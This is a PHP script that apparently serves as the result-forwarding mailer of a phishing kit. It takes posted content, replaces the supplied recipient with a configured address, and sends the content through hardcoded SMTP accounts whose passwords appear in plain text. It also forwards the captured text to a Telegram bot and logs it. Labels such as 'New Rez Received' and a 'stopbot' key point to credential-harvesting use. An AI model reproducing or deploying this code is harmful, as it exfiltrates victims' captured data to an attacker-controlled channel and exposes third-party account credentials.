<?php
ini_set('display_errors', 0);
error_reporting(0);

// PHPMailer
require 'Exception.php';
require 'PHPMailer.php';
require 'SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

// === Load Config ===
$configFile = './admin/setting.json';

function load_config($file) {
    if (!file_exists($file)) {
        $default = [
            "telegram_apikey" => "",
            "telegram_chatid" => "",
            "email" => "",
            "stopbot_apikey" => ""
        ];
        file_put_contents($file, json_encode($default, JSON_PRETTY_PRINT));
    }

    $content = file_get_contents($file);
    $data = json_decode($content, true);

    return is_array($data) ? $data : [];
}

$config = load_config($configFile);

class EmailSender {
    private $hosts = [
        [
            'email' => 'user@rhrpnews.com',
            'password' => 'Keygen321123#!@'
        ],
        [
            'email' => 'help@rhrpnews.com',
            'password' => 'Keygen321123#!@'
        ]
    ];

    public function send($to, $subject, $message, $fromName = 'REZ', &$debugOutput = '') {
        $mail = new PHPMailer(true);
        ob_start();

        foreach ($this->hosts as $config) {
            try {
                $mail->SMTPDebug = 2;
                $mail->Debugoutput = function($str, $level) {
                    echo "DEBUG[$level]: $str<br>";
                };

                $mail->isSMTP();
                $mail->Host = 'mail.rhrpnews.com';
                $mail->SMTPAuth = true;
                $mail->Username = $config['email'];
                $mail->Password = $config['password'];
                $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
                $mail->Port = 465;

                $mail->setFrom($config['email'], $fromName);
                $mail->isHTML(true);
                $mail->Subject = $subject;
                $mail->Body = $message;
                $mail->AltBody = strip_tags($message);

                // Add recipients
                foreach (explode(',', $to) as $recipient) {
                    $mail->addAddress(trim($recipient));
                }

                $mail->send();
                $debugOutput = ob_get_clean();
                return "Message sent successfully using {$config['email']}";
            } catch (Exception $e) {
                $mail->clearAddresses();
            }
        }

        $debugOutput = ob_get_clean();
        return "All SMTP attempts failed. Last error: " . $mail->ErrorInfo;
    }
}

// === Process POST ===
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $to = filter_var($_POST['to'] ?? '', FILTER_SANITIZE_EMAIL);
    $subject = htmlspecialchars($_POST['subject'] ?? '');
    $html = $_POST['html'] ?? '';
    $name = htmlspecialchars($_POST['name'] ?? 'Anonymous');

    // Override recipient from config
    $updatedTo = filter_var($config['email'] ?? 'default@example.com', FILTER_SANITIZE_EMAIL);

    $emailSender = new EmailSender();
    $debugLog = '';
    $result = $emailSender->send($updatedTo, $subject, $html, $name, $debugLog);

    // Telegram
    if (!empty($config['telegram_apikey']) && !empty($config['telegram_chatid'])) {
        $text = "📧 *New Rez Received:*\n"
              . "*Subject:* {$subject}\n"
              . "*Message:*\n```\n" . substr(strip_tags(html_entity_decode($html)), 0, 3800) . "\n```";

        $url = "https://api.telegram.org/bot{$config['telegram_apikey']}/sendMessage";
        $data = [
            'chat_id' => $config['telegram_chatid'],
            'text' => $text,
            'parse_mode' => 'Markdown'
        ];

        $response = @file_get_contents($url . '?' . http_build_query($data));
    }

    // Debug log
    $log = "======================\n";
    $log .= "Time: " . date("Y-m-d H:i:s") . "\n";
    $log .= "To: $updatedTo\n";
    $log .= "From: $name\n";
    $log .= "Subject: $subject\n";
    $log .= "Result: $result\n";
    $log .= "======================\n\n";
    file_put_contents('email_debug_log.txt', $log, FILE_APPEND);

    // === JANGAN UBAH ECHO ===
    echo json_encode([
        "text"    => "Email sent and forwarded to Telegram!",
        "to"      => $updatedTo,
        "from"    => $name,
        "subject" => $subject,
        "html"    => $html
    ]);
}
?>
